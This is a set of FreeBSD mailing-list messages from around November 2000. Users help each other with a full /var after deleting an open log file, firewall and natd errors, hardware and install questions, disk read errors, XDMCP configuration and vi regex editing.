> Yow!  My G200 was only US$80 a couple of years ago!  Nice thing is, it
And now I see _real_ difference between Russia and West :-))

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howdy!

Due to a bug in modphp my httpd-errors.log grew enourmous and I had to
remove it since /var became full.
However, after removing it, 'df' still showed that /var was full, and I
still got errors about it being full.

The only solution I've found is to reboot, but since this is a live
system (4.1-STABLE) I find this unacceptable.

Anyone know another solution?

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On Wed, Nov 01, 2000 at 03:46:16PM +0100, Bjorn Tornqvist wrote:
> howdy!
> 
> Due to a bug in modphp my httpd-errors.log grew enourmous and I had to
> remove it since /var became full.
> However, after removing it, 'df' still showed that /var was full, and I
> still got errors about it being full.
> 
> The only solution I've found is to reboot, but since this is a live
> system (4.1-STABLE) I find this unacceptable.
> 
> Anyone know another solution?

Try stopping and starting your web server, my guess is that it's still got
the file open and writing to it even though you've deleted it. Once you
restart it, it should close it meaning the filesystem can really delete it.

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I resolbed this, It was related to the problems with -STABLE,
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Hi,

I'm looking for BSD drivers for the Matrox Meteor2 (Standard or
Multi-Channel) framegrabber. I learned that BSD has been developing them and
I would like to know what the current status is regarding the release date.

Thank you for your answer.

Rogelio Pabros
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Well video cards are supported by XFree86 and good news, see
http://www.xfree86.org/4.0.1/Status21.html#21
The SB live is generally known to be a buggy poorly constructed card so
there is difficulty getting it working, but I believe I've seen messages
go by in the last week about people that have. They could comment more.

So you might as well install.  Good system, freebsd should run splendidly,

					Tim

On Wed, 1 Nov 2000, John Gilbert wrote:

> Hello,
> I am interested in using FreeBSD, but I have a few questions regarding
> compatibility. My system is as follows:-MSI MS-6163 Intel 440BX
> motherboard,
> Intel Pentium 3 550  chip, 128 meg PC133 Ram, Asus V6600 Geforce 256
> 32mb
> video card & a Sound Blaster Live sound card.
> Can I use FreeBSD, from reading the supported hardware guide I suspect
> my video card & sound card are not supported. Are there any work
> arounds.
> Like a lot of people I am getting fed up with Microsoft products & I am
> looking for alternatives.
> I can be contacted at jackg@itsm.com.au
> Thanks
> John
> 
> 
> 
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On Wed, Nov 01, 2000 at 03:46:16PM +0100, Bjorn Tornqvist wrote:
> Due to a bug in modphp my httpd-errors.log grew enourmous and I had to
> remove it since /var became full.
This is because this file is still opened by some process.
Do "fstat | grep httpd-errors.log" this will give you pid of this process.


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> -----Original Message-----
> From: Bjorn Tornqvist [mailto:bjorn.tornqvist@west.se]
> Sent: Wednesday, November 01, 2000 6:46 AM
> To: freebsd-questions@freebsd.org
> Subject: /var still full after cleaning up!
>
>
> howdy!
>
> Due to a bug in modphp my httpd-errors.log grew enourmous and I had to
> remove it since /var became full.
> However, after removing it, 'df' still showed that /var was
> full, and I
> still got errors about it being full.
>
> The only solution I've found is to reboot, but since this is a live
> system (4.1-STABLE) I find this unacceptable.
>
> Anyone know another solution?

From the Apache manual:

How to reset your log files

Sooner or later, you'll want to reset your log files (access_log and
error_log) because they are too big, or full of old information you don't
need.

access.log typically grows by 1Mb for each 10,000 requests.

Most people's first attempt at replacing the logfile is to just move the
logfile or remove the logfile. This doesn't work.

Apache will continue writing to the logfile at the same offset as before the
logfile moved. This results in a new logfile being created which is just as
big as the old one, but it now contains thousands (or millions) of null
characters.

The correct procedure is to move the logfile, then signal Apache to tell it
to reopen the logfiles.

Apache is signaled using the SIGHUP (-1) signal. e.g.

mv access_log access_log.old
kill -1 `cat httpd.pid`

Note: httpd.pid is a file containing the process id of the Apache httpd
daemon, Apache saves this in the same directory as the log files.

Many people use this method to replace (and backup) their logfiles on a
nightly or weekly basis.

HTH,

Drew

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> Bjorn
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Greetings!

I was wondering if I can put up an FTP-server on my Internal LAN, and
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and install from the default, public FTP-servers, but having problem
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Anyone out there dual booting NetBSD & FreeBSD? The web site and mail
archvies don't seem to discuss this, and I didn't find anyone on the
NetBSD help list doing it.

I'm trying to, and have two problems:

1) NetBSD can't find it's boot/root partition (that may be grub).

2) I can only access the second FreeBSD partition on my disk, not the
   first.

FWIW, the disks on the system are:
	ad0: Windows (bootable), FreeBSD-stable, Linux, FreeBSD-current
	ad2: Solaris (2 slices), NetBSD, Windows (data partition).

Anyone got any suggestions on what to tell Grub to get NetBSD to boot
without intervention, or setting up ad0 so I can access the -stable
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Am 01. Nov 2000 um 16:27 MET schrieb Hans Johansson:
> I was wondering if I can put up an FTP-server on my Internal LAN, and
> install freebsd from it with 2 disketts.  I have no problem connecting to,
> and install from the default, public FTP-servers, but having problem
> installing from my own.

Use the server log for checking where the client expects the data (add -S
to ftpd in /etc/inetd).
E.g. I have to mount the FreeBSD-CD to /var/ftp/pub/4.1-RELEASE for the
client to find it. Links to /cdrom won´t work.

Could be that you´re having similar problems.
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Hallo!!

I want to buy the CD of FreeBSD (-> Walnut Creek CD-ROM (about 40$))
and I have some important questions:

I need a UNIX for the ICS and the Fixed disk release.
    My question: Is FreeBSD able to do this?? And is it very difficult??

I have an Intel P3 600 with 128 MB RAM and an ISDN  "Fritz!" - Card.
    Do you think, that there will be any problems (for example with the i=
nstallation)???

I have read, that on the CD is also "X Window System (Xfree86 3.3.6). Can=
 you tell me, what it is??

For LINUX exists a program, which is called "Samba" that WINDOWS programs=
 also run with LINUX, does something like this
exists for FreeBSD, too?

I thought, that the server will have FreeBSD and the clients Windows 98, =
will there be any problems???

And what is with this DSL??

Do you know, if I'm allowed to make copies of the Software?? Because I al=
so can download it on your website.



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* Dino Rezes <nt_verwalter@hotmail.com> [20001101 19:04]:
=>
=>
=>Hallo!!

Hi

=>
=>I want to buy the CD of FreeBSD (-> Walnut Creek CD-ROM (about 40$))
=>and I have some important questions:
=>
=>I need a UNIX for the ICS and the Fixed disk release.
=>    My question: Is FreeBSD able to do this?? And is it very difficult??

Not sure what ICS stands for...

=>
=>I have an Intel P3 600 with 128 MB RAM and an ISDN  "Fritz!" - Card.
=>    Do you think, that there will be any problems (for example with the installation)???

I'm sure the hardware is okay except you have to read the handbook to see
if the ISDN card will be supported - www.freebsd.org/handbook/
Look at the Supported Hardware section..

=>
=>I have read, that on the CD is also "X Window System (Xfree86 3.3.6). Can you
=> tell me, what it is??

It gives you a graphical interface where you can click..click the Windows
way ;-)

=>
=>For LINUX exists a program, which is called "Samba" that WINDOWS programs 
=>also run with LINUX, does something like this exists for FreeBSD, too?

Yes, sir. It does and it is also named Samba, just like in Linux.

=>
=>I thought, that the server will have FreeBSD and the clients Windows 98, 
=>will there be any problems???

Not any that I've ever known of but you as well as I that you will
configure the server components, just like you do in Windows NT ;)

=>
=>And what is with this DSL??

High speed connectivity via an ISP..as opposed to the slow modems..this is
digital..not like the analogue modem..

=>
=>Do you know, if I'm allowed to make copies of the Software?? Because I also 
=>can download it on your website.


Yes. Use the software in any way you like..FREEBSD..it is free!


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Please don't use HTML-formatted text for your e-mails.  It hurts some mail
programs!

I don't know anything about ICS, so will skip on that... Sorry.

I can't see that you should have any problems with your hardware.  Give it a
go.  There are plenty of folk here who will know more about it than I do,
and
who will be happy to help should have problems.  I think a PIII will be a
very capable FreeBSD machine!

X Windows is a graphical environment for UNIX and UNIX-like systems.  Check 
for your video card on the hardware compatibility lists at www.xfree86.org
to
be sure that your video card can handle it.  It is a very versatile system,
and can be configured almost infinitely...

Yes, SAMBA will work under FreeBSD.  Your best bet would be to install it
from
the ports collection once your machine is up and running.  You will then 
be able to have Win9x clients connect to your server for file/print sharing.

Again, DSL is not something I know about, sorry.

And finally, yes, you can make copies of the software.  The BSD license is
very liberal - the only thing you are NOT allowed to do, is obscure the 
license itself with any redistributions you do.

Hope this helps you, slightly at least.  Good luck, and have fun with your
new friends!  :o)

Dan

-----Original Message-----
From: Dino Rezes [mailto:nt_verwalter@hotmail.com]
Sent: 01 November 2000 15:59
To: freebsd-questions@FreeBSD.ORG
Subject: important questions




Hallo!!

I want to buy the CD of FreeBSD (-> Walnut Creek CD-ROM (about 40$))
and I have some important questions:

I need a UNIX for the ICS and the Fixed disk release.
    My question: Is FreeBSD able to do this?? And is it very difficult??

I have an Intel P3 600 with 128 MB RAM and an ISDN  "Fritz!" - Card.
    Do you think, that there will be any problems (for example with the
installation)???

I have read, that on the CD is also "X Window System (Xfree86 3.3.6). Can
you tell me, what it is??

For LINUX exists a program, which is called "Samba" that WINDOWS programs
also run with LINUX, does something like this
exists for FreeBSD, too?

I thought, that the server will have FreeBSD and the clients Windows 98,
will there be any problems???

And what is with this DSL??

Do you know, if I'm allowed to make copies of the Software?? Because I also
can download it on your website.



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Just to start another thread on this question: I couldn't even get as far as
successfully installing gawk 3.06 from the ports.
I grabbed the latest port from the freebsd web site, because my installation
(4.0-RELEASE) had only gawk 3.04, the same as the base install.
Here is the error that I get.  Can somebody enlighten me?
TIA
/usr/libexec/elf/strip: /usr/local/bin/igawk: File format not recognized
*** Error code 70

Stop in /a/ports/lang/gawk/work/gawk-3.0.6/awklib.
*** Error code 1

Stop in /a/ports/lang/gawk/work/gawk-3.0.6.
*** Error code 1

Stop in /a/ports/lang/gawk.
*** Error code 1

Stop in /a/ports/lang/gawk.
*** Error code 1

Stop in /a/ports/lang/gawk.

> -----Original Message-----
> From:	Caleb Land [SMTP:bokonon@rochester.rr.com]
> Sent:	Sunday, October 29, 2000 9:32 PM
> To:	Tony Johnson
> Cc:	freebsd-questions@freebsd.org
> Subject:	Re: Gawk and Guile port problems
> 
> On Sun, Oct 29, 2000 at 03:42:07PM -0600, Tony Johnson wrote:
> > hmmm...  downloading/installing gawk-3.0.6 from ftp://ftp.gnu.org
> doesn't
> > cause me any problems on Solaris8 or FreeBSD.
> > 
> > Question:  does it core dump when you are installing it or does it core
> dump
> > when you run it?
> 
> 	I can successfully compile/install gawk 3.0.6 from the ports
> collection, but when I try to compile guile (which needs an awk
> installed compile and install) from the ports collection, gawk bombs,
> and dumps core while running a file from the guile source tree.  Here
> is the error that I get:
> 
> ---output---
> 
> gawk: ./guile-snarf.awk:17: (FILENAME=- FNR=11262) fatal error:
> internal error
> Abort trap - core dumped
> 
> ---/output---
> 
> 	The ``guile-snarf.awk'' file is in
> ``libguile/guile-snarf.awk'' relative to the root directory of the
> gawk source distribution.
> 
> -- 
> Sincerely,
> Caleb Land
> (bokonon@rochester.rr.com)


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Hello--

I have more questions regarding installing FreeBSD. I am trying to install
FreeBSD on a Compaq 4/75 CX, (486 processor, with 32 MB RAM, and a PCMCIA
10 bt ethernet card) I am trying to do a network install using the ftp
server. But it looks like the installation floppies don't have the drivers
for the PCMCIA card that is there on my laptop.

I have a Trendnet TE 210CT PCMCIA 10 baseT ethernet card. Any suggestions
as to how to proceed are welcome.

Thanks,
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As for root opening up an X app... use just 'su' instead of 'su -'

For mail, look into qmail as well... I am pretty happy with it...

shawn

On Wed, 1 Nov 2000, John Indra wrote:

> Dear subscribers...
> 
> I have a few questions and I hope these questions won't be categorized at to
> silly to ask.
> 
> 1. When I run X as user1, how can I permit other user to run applications on
> my display?
> Example: I su - to root then when root tries to run some X application, my X
> display doesn't permit it. What should I change so root be temporarily be
> given the permission to ``draw'' something on user1's display
> 
> 2. I have a Logitech PS/2 wheel mouse. Apparently, my mouse looks like an
> OEM version. Black logo. In XFree86 3.3.6 days, I understand that the wheel
> function for these mice doesn't work. Does it work with XFree86 4.x? I have
> setup appropriate entry in XF86Config and have run imwheel. Still doesn't
> work... Does anyone who have Logtich PS/2 mouse wheel OEM working under
> XFree86 (working wheel I mean)?
> 
> 3. I'm very interested in Postfix. On the first build, it failed because of
> SASL. Second, I try to build without SASL support cause I don't need it for
> practise server. All went fine. Do I have to modify any entry in
> /etc/rc.conf? Currently I let my system to run sendmail.
> 
> Regards,
> John
> 
> 
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same thing happens to me, but only on FreeBSD, not on linux.


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On Wed, 1 Nov 2000, S.W.Liu wrote:

> I compile KDE2 under my system(FreeBSD-current, Oct.31, 2000). All program of KDE2 is work fine. but when i use the filemanager to view wwww website, it crashed! why? (I use proxy to go to network!) Does kde2's filemanager cann't use as a www broser?
> 
> 



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yeah, it's not working right... I'm not sure what exactly to do though,
jI'm not that experienced with firewalls



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On Wed, 1 Nov 2000, Crist J . Clark wrote:

> On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > I just decided to make my firewall rules more strict, so I set my type to
> > > "simple" in rc.conf... and now I get this error 
> > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > denied)
> > > 
> > This happens when ipfw blocks packets written back by natd(8).
> > 
> > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > 
> > There was a problem with the stock "simple" firewall, which has now been
> > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > 
> > > Could someone tell me how to get rid of this error?
> > > 
> > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> 
> Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> it does not have a chance of working for your average natd(8) setup.
> -- 
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* Veaceslav Revutchi <sl@zeus.dnt.md> [001101 01:18] wrote:
> hi
> 
> on the linux machine users start with uid 500, on freebsd
> they normaly start with 1000. Will that be a problem
> if i move them over to bsd with preserving the same uid?

Doesn't look like there will be a problem, but I'm not
100% sure, since uid is just a number one could write a 
script to add 500 to the uid in the password file and
a perl script to traverse a directory tree to do the
same for each file in case there are problems.

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Hi, 

	I CVSupped "tag=RELENG_4" and when I built it this
morning it was 4.2 Beta. It seems to come up fine. However,
when I tried to build my custom kernel, it doesn't like the options
for SMP. Specifically NCPU and NBUS. Are these no longer needed?

	This machine isn't in production yet. But I'm replacing an 
old machine with it in a few weeks. So, what tag do I use to go
back to 4.1-Stable (4.1.1-Stable?). Or do I even want to? I'm guessing
it basically the same thing, and that we'll be hearing from Jordan 
any time now? 

Paul.	

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my oip and onet are real, and I still have the same problem... my iip and
inet are not real however..


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On Wed, 1 Nov 2000, Ruslan Ermilov wrote:

> On Wed, Nov 01, 2000 at 12:27:36AM -0800, Crist J . Clark wrote:
> > On Wed, Nov 01, 2000 at 09:34:21AM +0200, Ruslan Ermilov wrote:
> > > On Tue, Oct 31, 2000 at 04:24:12PM -0500, Kenneth Wayne Culver wrote:
> > > > I just decided to make my firewall rules more strict, so I set my type to
> > > > "simple" in rc.conf... and now I get this error 
> > > > Oct 31 16:16:07 culverk natd[139]: failed to write packet back (Permission
> > > > denied)
> > > > 
> > > This happens when ipfw blocks packets written back by natd(8).
> > > 
> > > > my rules are the same rules as the "simple" specification in rc.firewall. 
> > > > 
> > > There was a problem with the stock "simple" firewall, which has now been
> > > fixed in 4.1-STABLE (/etc/rc.firewall, rev 1.30.2.5).
> > > 
> > > > Could someone tell me how to get rid of this error?
> > > > 
> > > Make sure your rc.firewall is rev 1.30.2.5 or higher.
> > 
> > Hmmm, I have a 1.30.2.6 file right here and it still looks to me like
> > it does not have a chance of working for your average natd(8) setup.
> > 
> If ${oip} and ${onet} are set to some real values, the "simple" firewall
> should work.  If they are set to some RFC1918 or draft-manning-dsua ones,
> this (of course) will not work, and you will have to either delete two
> "deny" rules (one before and one after the divert rule) that include your
> ${onet}:${omask} network.  Anything else?
> 
> 
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Hi all...

not looking for a big posting war...
just wondering what people consider the best non-X icq

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Good Afternoon!

I'm using 4.1-RELEASE for a router. After installing UCD-SNMP, I 
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MRTG's cfgmaker cannot determine the speed of the WAN 
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Is there an SNMP package that will handle this? Under BSDI, for 
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variable  interface  etha500 ifSpeed=1544000

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Chameleon wrote:
> 
> Hi all...
> 
> not looking for a big posting war...
> just wondering what people consider the best non-X icq

I'm pretty happy with micq, it does the job with a minimum of fuss,
although
it doesn't support any of the direct connect modes in ICQ, so  you can't
transfer files or chat with it.

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Hello everybody,

I am trying to configure XDMCP on my FreeBSD 4.0-RELEASE machine.  It is
running
XFree86 3.3.6.  I want to offer X services to other machines on the network,
which 
will be using Hummingbird's Exceed software under WinNT.  My host does not
appear
in the chooser menu....

I have had this working once before with a Redhat system, but would like to
get 
FreeBSD to do it, too.

I have changed Xaccess to allow connections from any source (the * on a line
by itself)
I have a feeling that I need to define a server in Xserver, but cannot
remember (or find)
the format for the appropriate line...  This is the current contents of the
Xservers file:

:0 local /usr/X11R6/bin/X

And here is my xdm-config:

! $XFree86: xc/programs/xdm/config/xdm-conf.cpp,v 1.1.1.2.4.2 1999/10/12
18:33
:29 hohndel Exp $
!
! $XConsortium: xdm-conf.cpp /main/3 1996/01/15 15:17:26 gildea $
DisplayManager.errorLogFile:    /usr/X11R6/lib/X11/xdm/xdm-errors
DisplayManager.pidFile:         /usr/X11R6/lib/X11/xdm/xdm-pid
DisplayManager.keyFile:         /usr/X11R6/lib/X11/xdm/xdm-keys
DisplayManager.servers:         /usr/X11R6/lib/X11/xdm/Xservers
DisplayManager.accessFile:      /usr/X11R6/lib/X11/xdm/Xaccess
! All displays should use authorization, but we cannot be sure
! X terminals will be configured that way, so by default
! use authorization only for local displays :0, :1, etc.
DisplayManager._0.authorize:    true
DisplayManager._1.authorize:    true
! The following three resources set up display :0 as the console.
DisplayManager._0.setup:        /usr/X11R6/lib/X11/xdm/Xsetup_0
DisplayManager._0.startup:      /usr/X11R6/lib/X11/xdm/GiveConsole
DisplayManager._0.reset:        /usr/X11R6/lib/X11/xdm/TakeConsole
!
DisplayManager*resources:       /usr/X11R6/lib/X11/xdm/Xresources
DisplayManager*session:         /usr/X11R6/lib/X11/xdm/Xsession
DisplayManager*authComplain:    false
! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
DisplayManager.requestPort:     1   ###  <<<<<=====  what does this do??


What else do I need to do, so that my machine will be visible in the chooser
menus on other systems?

Any hints or pointers, most gratefully received!  Thanks for listening, all.

Dan Bye
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Hello there--

I am trying to do a network(ftp install) of freeBSD 4.1.1-ReLEASE. During
the install process, it appears that the PCMCIA card(Trentnet TE 210CT
ethernet 10 BaseT) is not detected! 

I dont see any lights on to indicate data transfer. Any help on this would
be greatly appreciated.

The install process goes till the point of scanning for the ftp server,
and is not able to find it.

Any suggestions on this one?

Thanks in advance,
Praveen

On Wed, 16 Aug 2000, Chris Fedde wrote:

> On Wed, 16 Aug 2000 16:09:05 -0400 (EDT)  Kamath wrote:
>  +------------------
>  | I would like to install FreeBSD/releases/i386/4.1-RELEASE/ onto a Compaq
>  | LTE Elite 4/75 CX. I would prefer a network install, using one of the FTP
>  | sites. 
>  | 
>  | My laptop has a Trendnet 10 bT ethernet PCMCIA card. Is it possible to do
>  | the network install using the floppies(kern.flp, mfsroot.flp)?? 
>  | 
>  | Any feedback will be greatly appreciated.
>  | 
>  | Thanks,
>  | Praveen Kamath
>  +------------------
> 
> Yes you can do a network install using the two floppies.  You'll want to know
> the IP address, router and domain name server for the lan segment before
> you start.
> 
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I just replaced a hard drive in one computer, because the previous one
died last night.  (It was a 3.5 years old WD, so I thought that it had
to happen).  Well, I was getting these errors with the previous
harddrive.  Now I completely reinstalled the system, and I'm getting
same error messages with the new one.

ad0: HARD READ ERROR blk# 25418671
ad0: DMA problem fallback to PIO mode
ad0: HARD READ ERROR blk# 25418687 status=59 error=40
ad0: DMA problem fallback to PIO mode
ad0: HARD READ ERROR blk# 25418687 status=59 error=40
ad0: HARD READ ERROR blk# 25418687 status=59 error=40

After these errors the box just rebooted.  This looks scary.  Could it
be the controller?  The box is an older P166, running 4.1.1-S.

I don't quite believe in coinsidence of identical problems happening
to successive hard drives.  The new one is a very nice 13G IBM
DeskStar 7200rpm, 2Mb cache.

Any ideas?
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Greetings,
   Figured I'd ask here first as I'm not sure which list to direct this 
question to.  
   Basically I'm trying to port a Linux application to FreeBSD.  The problem
I'm running into is the differences between the mtio.h implementation and 
I the pthread implementation.  Are there any references that I can read
to get assistance with this, or are there any guides that might be helpful?
Also, are there any caveats that I should know about for the different 
implementations.

Thanks a bunch,
Mark

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Hi Sue.  After I settled down, I remembered that I have an install CD.  I 
just ran /stand/sysinstall and reinstalled the bin section only.  That did 
the trick.

I don't know what the deal was with my devices.  They were fine after a 
reboot, even before the reinstall.  I suspect I may have a hardware problem 
because now my dual-boot Windows is acting up.  But the important thing is 
that FreeBSD is working again.

I'm getting ready to upgrade to STABLE.  I hope that goes well.  Thanks for 
the info.

Tom

>From: Sue Blake <sue@welearn.com.au>
>To: Tom Hines <tomhines2@hotmail.com>
>CC: freebsd-questions@freebsd.org
>Subject: Re: 40upgrade kit
>Date: Wed, 1 Nov 2000 20:52:20 +1100
>
>
>On Thu, Oct 19, 2000 at 07:58:25PM -0400, Tom Hines wrote:
> >
> > >Hi.  Relative newbie here.  I was browsing the freebsd web site the 
>other
> > >day and noticed the section on upgrade kits at
> > >http://www.freebsd.org/ports/.  Because I run 4.0-RELEASE, I installed 
>the
> > >4.0 to 4-stable upgrade kit, and now I can't install any ports.  It 
>fails
> > >on
> > >fetch with the message "bad system call".  I noticed that one of the 
>files
> > >upgraded by the kit was libc.so, which is a symlink that was pointing 
>to
> > >libc.so.3 and now points to the new libc.so.4.  I suspect that might be 
>the
> > >problem.
> > >
> > >I tried deleting the package with pkg_delete, but got a message saying 
>that
> > >was impossible because it would render my system useless.  What can I 
>do?
> > >Can I just point libc.so back to libc.so.3?  I vaguely recall a utility 
>to
> > >do such things called ldd or something but I can't remember.
> >
> > Whoa.  It's much worse than I thought.  Now none of my devices work.
> > They're either not found or not configured.  What happened?  I need to
> > reverse that upgrade kit, but it deleted my old libc.so.3.  Please help.
>
>
>I don't know if you've received or still need any more help with this,
>Tom (I don't follow freebsd-questions), but there seems to be a problem
>with that upgrade kit, which is being investigated.
>
>Keep your eye on the problem report at
>http://www.FreeBSD.org/cgi/query-pr.cgi?pr=21997
>for any updates.
>
>Meanwhile, having installed this package to two machines myself today,
>and losing most of their connection to the outside world in the process,
>I would caution anyone else not to use 40upgrade.tgz it until the above
>URL gives the all clear.
>
>
>

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Yeah that makes it a good likelihood that it is the controller.  Are there
two IDE controllers on your motherboard?  Try the other one.
Or see if you can borrow a pci card controller to test the drive with.  Or
just put the drive in somebody elses computer and boot with a boot floppy
to see if the drive works there.  Then let us know.  Luckily IDE
controllers are very cheap.  So you can add another and disable the
original.

						Tim

On 1 Nov 2000, Arcady Genkin wrote:

> I just replaced a hard drive in one computer, because the previous one
> died last night.  (It was a 3.5 years old WD, so I thought that it had
> to happen).  Well, I was getting these errors with the previous
> harddrive.  Now I completely reinstalled the system, and I'm getting
> same error messages with the new one.
> 
> ad0: HARD READ ERROR blk# 25418671
> ad0: DMA problem fallback to PIO mode
> ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> ad0: DMA problem fallback to PIO mode
> ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> 
> After these errors the box just rebooted.  This looks scary.  Could it
> be the controller?  The box is an older P166, running 4.1.1-S.
> 
> I don't quite believe in coinsidence of identical problems happening
> to successive hard drives.  The new one is a very nice 13G IBM
> DeskStar 7200rpm, 2Mb cache.
> 
> Any ideas?
> Many thanks,
> -- 
> Arcady Genkin
> Don't read everything you believe.
> 
> 
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Well have you checked   www.freebsd.org/porters-handbook/   ?

On Wed, 1 Nov 2000, Mark Daniel Szlaga wrote:

> Greetings,
>    Figured I'd ask here first as I'm not sure which list to direct this 
> question to.  
>    Basically I'm trying to port a Linux application to FreeBSD.  The problem
> I'm running into is the differences between the mtio.h implementation and 
> I the pthread implementation.  Are there any references that I can read
> to get assistance with this, or are there any guides that might be helpful?
> Also, are there any caveats that I should know about for the different 
> implementations.
> 
> Thanks a bunch,
> Mark
> 
> Mark Szlaga      mszlaga@szlaga.net      http://www.szlaga.net/~mszlaga/
> /dev/hdb5 - 0.5Gb of spinning metal, all alone in the night...
> - unknown - alt.sysadmin.recovery
> /dev/hdb5 - our last best hope for free space...
> - Chip Salzenberg - <chip@pobox.com>
> 
> 
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i assume you "upgraded" fbsd recently?
make sure DMA  is NOT enabled in the kernel ...
that MIGHT be whats happening, your kernel is tryin to use DMA through a
non-dma channel (your p166 onboard ctrl)

i don't know what brand of mobo you have, but, being an ex-hardware guy, i've
RARELY seen onboard IDE controllers go bad.. even on OLD hardware...

just a thought.. before you spend $$ unnecessarily

good luck!
nathan

Tim McMillen wrote:

> Yeah that makes it a good likelihood that it is the controller.  Are there
> two IDE controllers on your motherboard?  Try the other one.
> Or see if you can borrow a pci card controller to test the drive with.  Or
> just put the drive in somebody elses computer and boot with a boot floppy
> to see if the drive works there.  Then let us know.  Luckily IDE
> controllers are very cheap.  So you can add another and disable the
> original.
>
>                                                 Tim
>
> On 1 Nov 2000, Arcady Genkin wrote:
>
> > I just replaced a hard drive in one computer, because the previous one
> > died last night.  (It was a 3.5 years old WD, so I thought that it had
> > to happen).  Well, I was getting these errors with the previous
> > harddrive.  Now I completely reinstalled the system, and I'm getting
> > same error messages with the new one.
> >
> > ad0: HARD READ ERROR blk# 25418671
> > ad0: DMA problem fallback to PIO mode
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > ad0: DMA problem fallback to PIO mode
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> > ad0: HARD READ ERROR blk# 25418687 status=59 error=40
> >
> > After these errors the box just rebooted.  This looks scary.  Could it
> > be the controller?  The box is an older P166, running 4.1.1-S.
> >
> > I don't quite believe in coinsidence of identical problems happening
> > to successive hard drives.  The new one is a very nice 13G IBM
> > DeskStar 7200rpm, 2Mb cache.
> >
> > Any ideas?
> > Many thanks,
> > --
> > Arcady Genkin
> > Don't read everything you believe.
> >
> >
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> >
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                             US$
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ALEMANHA/ÁUSTRIA/BÉLGICA
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PORTUGAL.................. 0,42         56,7%
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Thanks,
   I missed that in the handbook.

Mark

On Wed, 1 Nov 2000, Tim McMillen wrote:

> Well have you checked   www.freebsd.org/porters-handbook/   ?
> 
> On Wed, 1 Nov 2000, Mark Daniel Szlaga wrote:
> 
> > Greetings,
> >    Figured I'd ask here first as I'm not sure which list to direct this 
> > question to.  
> >    Basically I'm trying to port a Linux application to FreeBSD.  The problem
> > I'm running into is the differences between the mtio.h implementation and 
> > I the pthread implementation.  Are there any references that I can read
> > to get assistance with this, or are there any guides that might be helpful?
> > Also, are there any caveats that I should know about for the different 
> > implementations.
> > 
> > Thanks a bunch,
> > Mark
> > 

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Windows should only update the MBR on the disk it runs on.
I know I can put Windows first, but that leaves dualbootability subject
to being clobbered by the user any time some errant program wipes out
the MBR when Windows is on disk 0.

I can't imagine FreeBSD can't be disk 0, Windows disk 2 and the system should
dula boot, so I'll wait for someone to address that scenario, even if I have
to send the client home with the undesirable arrangement in the meantime.

Thanks.

-ecsd@transbay.net

Andreas Ntaflos wrote:
> 
> i had that problem too.
> if i recall correctly, i kinda solved it by leaving the windows-disk on the primary
> master channel, and having the MBR on that disk.
> 
> i dont know an other way to solve this, and when reinstalling windows, it overwrites
> the MBR anyway with its own entries, no matter which disk it is, AFAIK.
> ...
> dont know if this helps, anyway


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Greetings:

I am trying to set up a BSD machine so that it has two NIC's with two
different addresses.
NIC1=64.10.10.20
NIC2=68.25.10.20

We have two separate DSL lines coming through two separate routers.
Router1=64.10.10.3
Router2=68.25.10.3

We would like to run web service on this machine, such that the web
server can be reached as 64.10.10.20 unless Router1 goes down. Then the
web server should be reachable as 68.25.10.20.

First of all, Is this do-able?
Secondly, If yes, how do I set it up.
I had assumed that it would involve the routed daemon, but I can't seem
to get it to work as expected.
Whichever way the default router is set is the path that works.

Is there something needed in the kernel?
Or am I just totally confused? Any thoughts would be appreciated.

Bill

Here is the rc.conf as it currently stands:

gateway_enable="YES"
router_enable="YES"
router=routed
router_flags="-s -T /usr/home/billn/routed.trace -t"
ifconfig_fxp0="inet 64.10.10.20  netmask 255.255.255.0"
defaultrouter="64.10.10.3"
ifconfig_fxp1="inet 68.25.10.20  netmask 255.255.255.0"
network_interfaces="fxp1 fxp0 lo0"
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Hello,

I have been editing some 
Perl scripts in vi recently,
and I find it very annoying
that Perl cannot comment
blocks of code, only lines.

I have been reading the docs in vi, but I can't quite figure out how to do a substitute command that will, say, prepend a # to the next n lines, and later remove the # ( well, the second one I could always use :s and replace the first # with nothing for the next n lines. But the first one is still a mystery to me ).

Any insight would be greatly appreciated.

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Well, ah umm...actually, the problem's not solved <sigh>.  Atkbd0 is now fine, 
but psm0 has a problem and boot still hangs.

I'll try some other things tonight.  In case they don't work, I wondered: 
while I can get kernel config info, and log and dmesg from a successful boot, 
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First, thanks, Simon for telling me how to solve this quite aggravating little
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8773836928@skytel.com wrote:
> 
> Hello,
> 
> I have been editing some
> Perl scripts in vi recently,
> and I find it very annoying
> that Perl cannot comment
> blocks of code, only lines.
> 
> I have been reading the docs in vi, but I can't quite figure out how to do a substitute command that will, say, prepend a # to the next n lines, and later remove the # ( well, the second one I could always use :s and replace the first # with nothing for the next n lines. But the first one is still a mystery to me ).

The regular expression for the beginning of a line is ^ and the end of
the line is $.

If you are in column 1 on line 1, you can
:.,$s/^/#/

To remove the #, you would
:.,$s/^#//

HTH,

Kent

> 
> Any insight would be greatly appreciated.
> 
> Thanks!
> 
> P.S. Please cc: me, as I am not subscribed to the list with this account. Thanks again.
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After send a message with mutt or mail, send-mail tends to take about
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I continue to do a;

 $ ps ax | grep send
and get

  139  ??  Ss     0:03.31 sendmail: accepting connections on port 25 (sendmail)
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showing recent emails going out...

what is it waiting for - it wouldn't be an issue, but right
now I need to shut down the system, fire up windows 95, do
some work - and leave to do some tasks.  I'm kept waiting
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Tim McMillen <timcm@umich.edu> writes:

> Yeah that makes it a good likelihood that it is the controller.  Are there
> two IDE controllers on your motherboard?  Try the other one.

Just did.  I disabled the primary one altogether.  I got the same
error.  I don't know if this is relevant, but the error has been
happening when accessing same file (I'm trying to compile Xemacs from
ports).  Could this mean this is a disk problem?

> > I just replaced a hard drive in one computer, because the previous one
> > died last night.  (It was a 3.5 years old WD, so I thought that it had
> > to happen).  Well, I was getting these errors with the previous
